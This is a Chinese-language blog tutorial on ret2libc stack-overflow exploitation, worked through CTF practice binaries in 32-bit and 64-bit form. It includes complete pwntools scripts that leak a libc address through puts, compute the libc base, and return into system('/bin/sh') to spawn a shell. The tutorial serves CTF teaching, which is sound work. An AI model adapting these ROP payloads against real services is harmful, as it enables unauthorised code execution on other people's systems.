pwn入门：基本栈溢出之ret2libc详解（以32位+64位程序为例）

骑猪看日落 2024-02-05 13:12 155阅读 0赞

**目录**

写在开头

题目简介

解题思路

前置知识（简要了解）

plt表和got表

延迟绑定

例题详解

32位

64位

总结与思考

## 写在开头 ##

这篇博客早就想写了，但由于近期事情较多，一直懒得动笔。近期被领导派去临时给合作单位当讲师，要给零基础的学员讲pwn的内容，因此也临时学了一些pwn的基础知识，正好学到了这个ret2libc，感觉虽然是很基本的栈溢出，但作为初学者还是有很大的理解难度，故此总结本篇，个人理解，笔者能力非常有限，如有错误或讲解不到位的地方，欢迎评论指出，共同讨论。

本篇将首先简要介绍这种题型的特点，然后以CTF-wiki上的例子ret2libc3作为一道例题（32位），再补充一道64位的题目。另外，由于这种题目需要判断libc的版本，理论上需要用到LibcSearcher这个库。本文本着讲解原理的角度，仅仅打本地，故本文涉及到的例子相当于已经给出了libc的版本（也就是当前操作系统的libc）。这里给出几个博客的参考链接，也是笔者学习时看到的一些资料。首先是CTF-wiki中的基本题目：

[基本 ROP - CTF Wiki (ctf-wiki.org)][ROP - CTF Wiki _ctf-wiki.org]

本文将讲解CTF-Wiki中基本ROP的最后一道题目ret2libc3。另外顺道一提，我感觉CTF-Wiki给出的例题虽然不错，但解题过程还是过于简略，零基础的初学者未必能看懂。不过wiki中的基本ROP都是pwn入门最经典的例题，感觉还是值得学习。另外我学习的时候还参考了另外两篇博客，这里给出链接。下面这篇博客给出了ret2libc题目的模板，非常言简意赅：

[PWN题型之Ret2Libc\_\[error\] './ret2text' is not marked as executable (-CSDN博客][PWN_Ret2Libc_error_ _._ret2text_ is not marked as executable _-CSDN]

这篇博客则更是相对详细的介绍了ret2libc的原理，我在后文中也引用了这位大佬画的图片：

[pwn基本ROP——ret2libc\_pwn ret2libc-CSDN博客][pwn_ROP_ret2libc_pwn ret2libc-CSDN]

另外由于ret2libc类题目涉及到延迟绑定技术，即plt表和got表的相关知识，我参考了下面这篇博客，感觉这个博主很厉害：

[Basic-ROP · 语雀][Basic-ROP _]

## 题目简介 ##

本文所针对的题目是ret2libc类的基本栈溢出问题。总结而言，要想实现ret2libc，有以下几个必要条件：

> 1.存在溢出，且溢出范围足够大，可以覆盖到main函数的返回地址，还可以覆盖更远的区域。
> 
> 2.存在类似于puts，write这样的打印函数。可以被利用，劫持程序的执行流程后，执行puts,write这样的函数打印一些已经执行过的函数的真实地址，以便我们寻找libc的基地址。

另外这类题目往往还有以下的特点，暗示我们要可能要使用ret2libc的方法：

> 1.开启了NX保护，即数据段不可执行。同时栈也是不可执行的。因此就别想通过写入shellcode再ret2shellcode这样的方法拿shell。
> 
> 2.程序本身也没有像system("/bin/sh")这样直接的后门函数，因此我们也不要想着直接ret2text这么直接。
> 
> 3.程序中可能既没有system函数，又没有"/bin/sh"字符串，需要我们在libc库中寻找。

![ba4c73f16ffc4299ae8af7654d678caa.png][]

## 解题思路 ##

我们的目标是拿到shell，换言之就是，劫持二进制可执行文件的执行流程，让程序执行system("/bin/sh")。拆分这个目标，可以分为以下两个步骤：

> 1.找到system()函数和/bin/sh字符串在libc中的地址。
> 
> 2.劫持程序的执行流程，让程序执行system("/bin/sh")。

实现第二步不难，只要精巧合理地构造溢出，把main函数的返回地址覆盖为system()函数的地址，并合理实现传参即可。关键在于如何找到system()函数和"/bin/sh"字符串的地址。这两个关键地址都在libc库中，这就是这类题型被叫做ret2libc的原因。那么如何寻找libc中的system()函数和"/bin/sh"字符串呢？这里需要用到以下公式：

> **函数的真实地址 = 基地址 + 偏移地址**

要牢牢记住我们的目标：找到system()函数和"/bin/sh"字符串的真实地址。下面我们对这个公式做一个解释：

> 偏移地址：libc是Linux新系统下的C函数库，其中就会有system()函数、"/bin/sh"字符串，而libc库中存放的就是这些函数的偏移地址。换句话说，只要确定了libc库的版本，就可以确定其中system()函数、"/bin/sh"字符串的偏移地址。**解题核心在于如何确定libc版本**，本文介绍过程将忽略这个问题，打本地直接确定为本地的libc版本即可。
> 
> 基地址：每次运行程序加载函数时，函数的基地址都会发生改变。这是一种地址随机化的保护机制，导致函数的真实地址每次运行都是不一样的。然而，哪怕每次运行时函数的真实地址一直在变，最后三位确始终相同。**可以根据这最后三位是什么确定这个函数的偏移地址，从而反向推断出libc的版本（此处需要用到工具LibcSearcher库，本文忽略这个步骤）**。那么如何求基地址呢？如果我们可以知道一个函数的真实地址，用公式：
> 
> **这次运行程序的基地址 = 这次运行得到的某个函数func的真实地址 - 函数func的偏移地址**
> 
> 即可求出这次运行的基地址。

这回问题又发生了转化：如何找到某个函数func的真实地址呢？

> 像puts(),write()这样的函数可以打印内容，我们可以直接利用这些打印函数，打印出某个函数的真实地址（即got表中存放的地址）。某个函数又指哪个函数呢？由于Linux的延迟绑定机制，我们必须选择一个main函数中已经执行过的函数（这样才能保证该函数在got表的地址可以被找到），选哪个都可以，当然也可以直接选puts和write，毕竟题目中像puts和write往往会直接出现在main函数中。
> 
> 总结一下上面这段话，我们可以通过**构造payload让程序执行puts(puts@got)或者write(1,write@got, 读取的字节数)**打印puts函数/write函数的真实地址。

整体思路总结（关键）：

> 1.首先寻找一个函数的真实地址，以puts为例。构造合理的payload1，劫持程序的执行流程，使得程序执行puts(puts@got)打印得到puts函数的真实地址，并重新回到main函数开始的位置。
> 
> 2.找到puts函数的真实地址后，根据其最后三位，可以判断出libc库的版本（本文忽略）。
> 
> 3.根据libc库的版本可以很容易的确定puts函数的偏移地址。
> 
> 4.计算基地址。基地址 = puts函数的真实地址 - puts函数的偏移地址。
> 
> 5.根据libc函数的版本，很容易确定system函数和"/bin/sh"字符串在libc库中的偏移地址。
> 
> 6.根据 真实地址 = 基地址 + 偏移地址 计算出system函数和"/bin/sh"字符串的真实地址。
> 
> 7.再次构造合理的payload2，劫持程序的执行流程，劫持到system("/bin/sh")的真实地址，从而拿到shell。

## 前置知识（简要了解） ##

### plt表和got表 ###

这块不用理解太深，读者嫌麻烦也可以直接看后文的解题过程，我这里总结了几位大佬的博客，做个简要介绍。

> 由于二进制文件本身没有 system 也没有 /bin/sh，需要使用 libc 中的 system 和 /bin/sh，知道了libc中的一个函数的地址就可以确定该程序利用的 libc版本，从而知道其他函数的地址。获得 libc 的某个函数的地址通常采用的方法是：通过 got 表泄露，但是由于libc的延迟绑定，需要泄露的是已经执行过的函数的地址。为什么是已经执行过的函数的地址呢，此处就要介绍plt表和got表的内容了。

got表：globle offset table 全局偏移量表，位于数据段，是一个每个条目是8字节地址的数组，用来存储外部函数在内存的确切地址。我们的最终目标就是拿到system函数的got表地址，同时知道libc的基地址的话即可找到system函数的真实地址。

plt表：procedure link table 程序链接表，位于代码段，是一个每个条目是16字节内容的数组，使得代码能够方便的访问共享的函数或者变量。可以理解为函数的入口地址，通过劫持返回地址为puts函数的plt表地址，即可执行puts函数。

说的有点绕，用大佬语雀博客中的一图以蔽之：

![49f57ea5975240dc8f8295a8d378a085.png][]

图一 PLT表和GOT表

可执行的二进制文件里面保存的是 PLT 表的地址，对应 PLT 地址指向的是 GOT 的地址，GOT 表指向的就是 glibc 中的地址那我们可以发现，在这里面想要通过 plt 表获取函数的地址，首先要保证 got 表已经获取了正确的地址（即最靠右的两个箭头已经建立），但是在一开始（尚未发生函数调用时）就进行所有函数的重定位是比较麻烦的，为此，linux 引入了延迟绑定机制。

### 延迟绑定 ###

只有动态库libc中的函数在被调用时，才会进行地址解析和重定位工作，也就是说，只有函数发生调用之后，上图中最右侧的两个箭头才建立完成，我们才能够通过got表读取到libc中的函数。至于具体过程相对复杂，这里引用大佬博主的图片简要介绍，当程序第一次执行某个函数A时，发生的过程如下：

![ae82e6ea3e1446ed99a3a7505ad07c64.png][]

图二：首次调用函数A

在可执行二进制程序调用函数A时，会先找到函数A对应的PLT表，PLT表中第一行指令则是找到函数A对应的GOT表。此时由于是程序第一次调用A，GOT表还未更新（就是图一中最右边俩箭头还没有建立），会先去公共PLT进行一番操作查找函数A的位置，找到A的位置后再更新A的GOT表，并调用函数A。当第二次执行函数A时，发生的流程就很简单了，如下图：

![fd181acb54f4465c8a088a3362e005dc.png][]

图三：再次调用函数A

此时A的GOT表已经更新，可以直接在GOT表中找到其在内存中的位置并直接调用。说白了，图三就是图一。

## 例题详解 ##

### 32位 ###

此处以CTF-Wiki中基本ROP的最后一道ret2libc3为例。链接如下：

[基本 ROP - CTF Wiki (ctf-wiki.org)][ROP - CTF Wiki _ctf-wiki.org]

拿到一个pwn题目，首先可以在虚拟机中运行一下，试试有哪些交互效果：

![d8a7a0f5af6d40a8aed6966061290ea3.png][]

输入一个短字符串""aaa"，无事发生，程序徐正常退出，而输入非常长的字符串aaaaaaaa....后，程序发生了段错误，看来程序确实存在溢出问题。然后我们checksec一下保护机制：

![2e3194896d7c4734b72d7862930dd7ad.png][]

可以确认这是一个开启了数据执行保护NX的32位小端序可执行文件。然后我们把他拖入ida中看看main函数的伪C语言代码（按F5反汇编）：

![4501ed23ac7445dba538b4a0fb9aa30d.png][]

gets函数是危险函数，不会对用户输入数据的长度进行限制，因此存在溢出。再找找这个题目里面有没有system函数和"/bin/sh"字符串，直接通过shift + f12即可查看字符串：

![64ff5df7481f41f5a759e760fb074eaa.png][]

既没有system函数，亦没有"/bin/sh"字符串，结合栈不可执行，判断这个题目要用到ret2libc的方法。首先构造payload1，使得通过对局部变量的字符数组s输入过量的数据，覆盖了main函数的返回地址，将main函数的返回地址覆盖成了puts的plt表项，并通过合理的对栈的覆盖，实现传参（32位程序采用栈传参的方法），具体payload1的覆盖方法如下图：

![f1757f5916de489fb1bbd4b7eb63b8e8.png][]

首先要保证把main函数的返回地址覆盖为puts函数的地址，即puts的plt表，占4字节。紧接着上图中addr(\_start)所在的位置（靠下的图片中浅蓝色的四个格子）相当于puts函数的返回地址，我们要求puts函数执行完成后再次返回main函数的起始位置，故这个位置应当填写main函数起始位置的地址，再往后的四个字节应当填写puts函数的参数，即任意一个已经执行过的函数，这里依旧可以填puts的got，因此我们构造的payload1如下：

> payload1 = b"a" \* offset + puts\_plt + addr\_start + puts\_got

其中b"a" \* offset填充垃圾数据，垃圾数据正好填充覆盖先前保留的ebp即可。那么如何确定垃圾数据的长度offset呢？这个很简单，不是本文重点，可以看我之前pwn入门的文章，比如这篇：

[pwn入门（2）：ROP攻击的原理，缓冲区溢出漏洞利用（ret2text+ret2shellcode）-CSDN博客][pwn_2_ROP_ret2text_ret2shellcode_-CSDN]

这里就通过gdb的方式快速调试一下好了，用插件pwndbg快速生成200个有序字符：

cyclic 200

![c7a7470c189b4c75961a261d19dbded9.png][]

然后把这个字符输入到程序中：

![a0c80b4aaa3645ddbfb0a78a873ba40d.png][]

果然出现了段错误，提示程序跳转到了0x62616164的位置，那么我们只要找到这个0x62616164在cyclic生成的字符串中的哪个位置即可：

cyclic -l 0x62616164

![87406e3e03a0407f8dc3362966ca4097.png][]

即可得出垃圾数据的长度offset为112个字节。

> 解释一下，此处的0x62616164是小端序的，本质相当于字符串"daab"，而daab就位于cyclic生成的字符串中的112的位置。因此要想覆盖到main函数的返回地址，就需要112个字节的垃圾数据。

由于仅仅打本地，那么我们只要找到本地的libc就可以了。用ldd命令查找一下具体如下：

![39f6e651ee104b00a668c9ec51ecd923.png][]

最终可以构造如下的脚本寻找puts函数的真实地址：

from pwn import *
    e = ELF("./ret2libc3_32")
    libc = ELF("/lib/i386-linux-gnu/libc.so.6") #确定libc库并解析
    p = process("./ret2libc3_32")
    puts_plt = e.plt['puts'] #puts函数的入口地址
    puts_got = e.got['puts']  #puts函数的got表地址
    start_addr = e.symbols['_start'] #程序的起始地址
    payload1 = b'a' * 112 + p32(puts_plt) + p32(start_addr) + p32(puts_got)
    #attach(p, "b *0x0804868F") #这两行注释用于调试程序，读者可以用gdb看看程序的执行过程，断点设置在了gets之前
    #pause()
    p.sendlineafter("Can you find it !?", payload1)
    puts_real_addr = u32(p.recv()[0:4])  #接收puts的真实地址，占4个字节
    print("puts_plt:{}, puts_got: {}, start_addr: {}".format(hex(puts_plt),hex(puts_got), hex(start_addr)))
    print("puts_real_addr: ", hex(puts_real_addr))

运行程序即可：

![29d74558ee814716b3bfcce525a542d3.png][]

可以看到我们确实得到了puts函数的真实地址，对比两次的运行结果可以发现，两次运行的真实地址是不同的，这是因为基地址不同（地址随机化的保护机制），但最后三位却是一致的c40，可以据此找到libc的版本（当然本文仅仅打本地，已经确定了libc，就省略了LibcSearcher的步骤）。下接下来就是计算libc的基地址了。

**基地址 = 真实地址 - 偏移地址**

libc_addr = puts_real_addr - libc.sym['puts']
    print(hex(libc_addr))

有了基地址libc\_addr，我们就可以寻找system函数和"/bin/sh"字符串的真实地址了：

system_addr = libc_addr + libc.sym["system"]
    binsh_addr = libc_addr + next(libc.search(b"/bin/sh"))

找到这俩关键地址之后，就可以构造payload2了：

![36cbef8ee3ba4cada90f1d263bf18141.png][]

payload2的原理就是让main函数的返回地址是system函数的真实地址，其后接任意一个4字节长度的数据，占位，表示system函数的返回地址（是啥不重要，因为执行了system("/bin/sh")之后就拿到shell了，我管他返回到哪里），再后面跟着system函数的参数，也就是"/bin/sh"字符串的真实地址即可：

payload2 = b'a' * 112 + p32(system_addr) + b"aaaa" + p32(binsh_addr)
    #pause()
    p.sendline(payload2)
    p.interactive()

完整的代码如下：

from pwn import *
    e = ELF("./ret2libc3_32")
    libc = ELF("/lib/i386-linux-gnu/libc.so.6") #确定libc库并解析
    p = process("./ret2libc3_32")
    puts_plt = e.plt['puts'] #puts函数的入口地址
    puts_got = e.got['puts']  #puts函数的got表地址
    start_addr = e.symbols['_start'] #程序的起始地址
    payload1 = b'a' * 112 + p32(puts_plt) + p32(start_addr) + p32(puts_got)
    #attach(p, "b *0x0804868F")
    #pause()
    p.sendlineafter("Can you find it !?", payload1)
    puts_real_addr = u32(p.recv()[0:4])  #接收puts的真实地址，占4个字节
    print("puts_plt:{}, puts_got: {}, start_addr: {}".format(hex(puts_plt),hex(puts_got), hex(start_addr)))
    print("puts_real_addr: ", hex(puts_real_addr)) 
    libc_addr = puts_real_addr - libc.sym['puts'] #计算libc库的基地址
    print(hex(libc_addr))
    system_addr = libc_addr + libc.sym["system"] #计算system函数的真实地址
    binsh_addr = libc_addr + next(libc.search(b"/bin/sh"))  #计算binsh字符串的真实地址
    payload2 = b'a' * 112 + p32(system_addr) + b"aaaa" + p32(binsh_addr)
    #pause()
    p.sendline(payload2)
    p.interactive()

运行即可拿到shell：

![479f2d6ccf6f42d39f33e4b71042dfe4.png][]

### 64位 ###

和32位区别不大，核心就是传参方式不一样了，32位采用栈传参，而64位程序函数的前六个参数分别用寄存器rdi, rsi, rdx, rcx, r8, r9传参，后续参数采用栈传参。另外64位程序还有个栈平衡的问题，在最后的payload中需要添加一个ret指令的地址。这里讲解看雪学院给出的一道例题（文末会给出例题链接） 。

首先运行程序：

![776c1bdacaa74505a9e0646dcae16577.png][]

也是一样，输入超长的字符串后会发生段错误，存在溢出问题。然后checksec一下：

![1014711855f34f06a0f3bb4d22b6c594.png][]

可以看出是64位小端序程序，开启了NX保护。然后丢到ida pro x64中看看源代码：

![8ac238501294408a830974f9d0e51be7.png][]

read这里存在溢出，可以读入0x100，也就是256个字节的数据，这很可能覆盖到返回地址后续的内存空间。再次shift+F12寻找字符串，也是没有system函数和"/bin/sh"字符串：

![2c5ac570b23448b5b531b59e0f622972.png][]

同时存在已经执行过的puts函数可以被我们利用，判断这个题目是ret2libc。由于是打本地，我们直接用本地的libc库即可：

![049710be4a4947e398a71773ebc6588a.png][]

payload1的构造如下代码所示：

payload = b"a" * offset #垃圾数据的填充
    payload += p64(pop_rdi_ret_addr) #用寄存器rdi传参，参数是read_got
    payload += p64(read_got) #想要存入rdi的参数
    payload += p64(puts_plt) #puts的入口地址，即plt表的地址
    payload += p64(main_addr) #程序的起始地址

这回我们用puts函数打印寻找read函数的got表的地址（当然你也可以继续想寻找puts的got表地址）。确定offset的方法和32位相同，结果是offset = 40。（此处崩溃的时候好像显示还在main函数中，但我们可以查看BACKTRACE看到main函数的返回地址已经被覆盖成了0x6161616c6161616b）

![0365e8b483d349f696288b8a6b0090f6.png][]

接下来我们只要查找这几个地址即可：pop\_rdi\_ret\_addr, read\_got, puts\_plt, main\_addr。首先是pop\_rdi\_ret\_addr，这个就是个ROP嘛，我们用ROPgadget寻找即可：

ROPgadget --binary ret2libc --only "pop|ret" | grep rdi

![ac0e1ba591ff4f0c8550186173dda458.png][]

找到了pop\_rdi\_ret\_addr = 0x401293，剩下的read\_got, puts\_plt, main\_addr可以用之前的32位程序的方法：

puts_plt = e.plt['puts'] #puts函数的入口地址
    read_got = e.got['read']  #puts函数的got表地址
    start_addr = e.symbols['_start'] #程序的起始地址

但这里我就故意舍近求远，带大家看看，我们能否不用这些函数，在ida中硬生生把这几个地址看出来。首先是read\_got。可以在IDA中通过按ctrl+s跳转到不同的段。先看got表，也就是对应的.got.plt（而非.got）

![ecf900a6ed624012a9db988109fac5eb.png][]

可以找到read\_got = 0x403368，如下图：

![207deaa1a6d14cd48a2a186f764aab42.png][]

接下来再找puts\_plt，我们到.plt段去寻找：

![3c241d2886374b96baa25b2bf7d3c40b.png][]

可以找到puts\_plt = 0x401060，然后我们再找main函数的起始位置：

![344e9eb2709445bfab8a43d885778aff.png][]

可以很容易的确定起始位置是main\_addr = 0x401176，好了，第一部分的代码我们可以写出来了：

运行之后成功拿到了read的真实地址，每次运行结果不同，但后三位固定。如果libc版本未知的话，可以据此确定libc版本。

![54b075e5ba7148a0829e95d36eeff04c.png][]

接下来基本上和32位的没啥区别了，计算libc的基地址：

libc_base = read_real_addr - libc.sym["read"]

然后计算system函数和"/bin/sh"字符串的真实地址：

system_addr = libc_base + libc.sym["system"]
    binsh_addr = libc_base + next(libc.search(b"/bin/sh"))

完整代码如下,区别就是由于操作系统的原因，需要添加一个ret指令用于栈平衡（非本文重点，我还没来得及搞懂），ret指令也可以用ROPgadget去寻找，这里懒得演示了：

from pwn import *
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    p = process("ret2libc")
    pop_rdi_ret_addr = 0x401293
    read_got = 0x403368
    puts_plt = 0x401060
    main_addr = 0x401176
    offset = 40
    payload = b"a" * offset
    payload += p64(pop_rdi_ret_addr)
    payload += p64(read_got)
    payload += p64(puts_plt)
    payload += p64(main_addr)
    #attach(p,"b *0x40121e")
    p.recvuntil("Pls Input")
    #pause()
    p.send(payload)
    read_real_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
    print("read_real_addr: ", hex(read_real_addr))
    libc_base = read_real_addr - libc.sym["read"]
    print("libc_base: ", hex(libc_base))
    system_addr = libc_base + libc.sym["system"]
    binsh_addr = libc_base + next(libc.search(b"/bin/sh"))
    print("system_addr:{}".format(hex(system_addr)))
    print("binsh_addr:{}".format(hex(binsh_addr)))
    payload = b"a" * offset
    payload += p64(0x40101a) #需要添加一个ret，仅仅用于栈平衡
    payload += p64(pop_rdi_ret_addr)
    payload += p64(binsh_addr)
    payload += p64(system_addr)
    p.recvuntil("Pls Input")
    p.send(payload)
    p.interactive()

运行即可拿到shell：

![36ff6e4c93164e13860df8996553d3f1.png][]

## 总结与思考 ##

解决ret2libc这样的题目，关键就是把握两个payload的构建方法，理解如下关键公式的含义即可：

> **函数的真实地址 = 基地址 + 偏移地址**

最后再次总结一下解题思路：

> 1.首先寻找一个函数的真实地址，以puts为例。构造合理的payload1，劫持程序的执行流程，使得程序执行puts(puts@got)打印得到puts函数的真实地址，并重新回到main函数开始的位置。
> 
> 2.找到puts函数的真实地址后，根据其最后三位，可以判断出libc库的版本（本文忽略，实际题目要用到LibcSearch库）。
> 
> 3.根据libc库的版本可以很容易的确定puts函数的偏移地址。
> 
> 4.计算基地址。基地址 = puts函数的真实地址 - puts函数的偏移地址。
> 
> 5.根据libc函数的版本，确定system函数和"/bin/sh"字符串在libc库中的偏移地址。
> 
> 6.根据 真实地址 = 基地址 + 偏移地址 计算出system函数和"/bin/sh"字符串的真实地址。
> 
> 7.再次构造合理的payload2，劫持程序的执行流程，劫持到system("/bin/sh")的真实地址，从而拿到shell。

最后我将本文提到的两个二进制程序和解题代码分享如下：

链接：https://pan.baidu.com/s/1RXdZ\_sB9Mb3LqRjqr6ICIA?pwd=ylzh  
提取码：ylzh

![01a24cdf08854bd1bc0d8950ec440584.png][]

总结这篇文章可真不容易呀，写了一天时间。恳请读者们多多点赞关注支持，后续我也会继续更新渗透测试等网络安全相关的技术文章。

![3858f9a8106d41fd9fe9c01ec0e2233f.png][]

[ROP - CTF Wiki _ctf-wiki.org]: https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/basic-rop/
[PWN_Ret2Libc_error_ _._ret2text_ is not marked as executable _-CSDN]: https://blog.csdn.net/qq_51032807/article/details/114808339
[pwn_ROP_ret2libc_pwn ret2libc-CSDN]: https://blog.csdn.net/turtlesd/article/details/124421356
[Basic-ROP _]: https://www.yuque.com/hxfqg9/bin/ug9gx5
[ba4c73f16ffc4299ae8af7654d678caa.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/02/05/6f4ffea68b6d40659d5837fb221689f8.png
[49f57ea5975240dc8f8295a8d378a085.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/02/05/e529e2f4d64a451f861f71149815d495.png
[ae82e6ea3e1446ed99a3a7505ad07c64.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/02/05/8687091d79c64cacb253f2d12f985e55.png
[fd181acb54f4465c8a088a3362e005dc.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/02/05/ea090bc360924060bca55025c2b131e8.png
[d8a7a0f5af6d40a8aed6966061290ea3.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/02/05/10e0513ce5694bc7bcba038256e31624.png
[2e3194896d7c4734b72d7862930dd7ad.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/02/05/bfead411489a44ba8799b418f6475f53.png
[4501ed23ac7445dba538b4a0fb9aa30d.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/02/05/80a4ba0a08004f239a1576df9718e0d9.png
[64ff5df7481f41f5a759e760fb074eaa.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/02/05/198c96eb3c2e4daf824909c006cf62fc.png
[f1757f5916de489fb1bbd4b7eb63b8e8.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/02/05/97f2ebe1fa4b40a0bba6dc51a95379ce.png
[pwn_2_ROP_ret2text_ret2shellcode_-CSDN]: https://blog.csdn.net/Bossfrank/article/details/130223488
[c7a7470c189b4c75961a261d19dbded9.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/02/05/10649de1f547480fac239c2944c39756.png
[a0c80b4aaa3645ddbfb0a78a873ba40d.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/02/05/b49146743c9f4028952579b92dc8ff57.png
[87406e3e03a0407f8dc3362966ca4097.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/02/05/d374065ae4274f2e9428e95d7d6f3462.png
[39f6e651ee104b00a668c9ec51ecd923.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/02/05/75c970a66bf04197b639a17994a0bc0b.png
[29d74558ee814716b3bfcce525a542d3.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/02/05/3ef36314bd934866b67d65a6ab1fe6e1.png
[36cbef8ee3ba4cada90f1d263bf18141.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/02/05/dd668e739e4d4bb09e5120318b757e41.png
[479f2d6ccf6f42d39f33e4b71042dfe4.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/02/05/56ac1b3d94aa4fa5aeea33a41cd0d600.png
[776c1bdacaa74505a9e0646dcae16577.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/02/05/bb25c264996441e6ae879eea3eb1966b.png
[1014711855f34f06a0f3bb4d22b6c594.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/02/05/3b4f85f111d94b748c9ff0408b86fc0e.png
[8ac238501294408a830974f9d0e51be7.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/02/05/8a06169875c44a97ae4d592a49e47780.png
[2c5ac570b23448b5b531b59e0f622972.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/02/05/ff3319eca1574ae39e373f2e23fcbe3a.png
[049710be4a4947e398a71773ebc6588a.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/02/05/31a7e56cee5b4e6196cce22755bc9c0c.png
[0365e8b483d349f696288b8a6b0090f6.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/02/05/b45a4e48e48f44f3bbbff1a4c1249caf.png
[ac0e1ba591ff4f0c8550186173dda458.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/02/05/c7c30f33d90e425f8c099ba97696861e.png
[ecf900a6ed624012a9db988109fac5eb.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/02/05/3c5c9b3830d24481aa8b4b20a4abca9e.png
[207deaa1a6d14cd48a2a186f764aab42.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/02/05/a389ad1e2c9e430f9c979ba0b318f797.png
[3c241d2886374b96baa25b2bf7d3c40b.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/02/05/aec0f1738ce44f1b966f571ef65bb50b.png
[344e9eb2709445bfab8a43d885778aff.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/02/05/7a33f0f414e640a19cebf3780e7c3130.png
[54b075e5ba7148a0829e95d36eeff04c.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/02/05/61a31c17b68445c79fc5f7cbe6633dbc.png
[36ff6e4c93164e13860df8996553d3f1.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/02/05/753b10b124674d3cb36bf8b8a1498dd6.png
[01a24cdf08854bd1bc0d8950ec440584.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/02/05/9798abe450aa4727855f8d26bfb31476.png
[3858f9a8106d41fd9fe9c01ec0e2233f.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/02/05/bf0e83b9a63e457d949e3cc6d9995bc9.png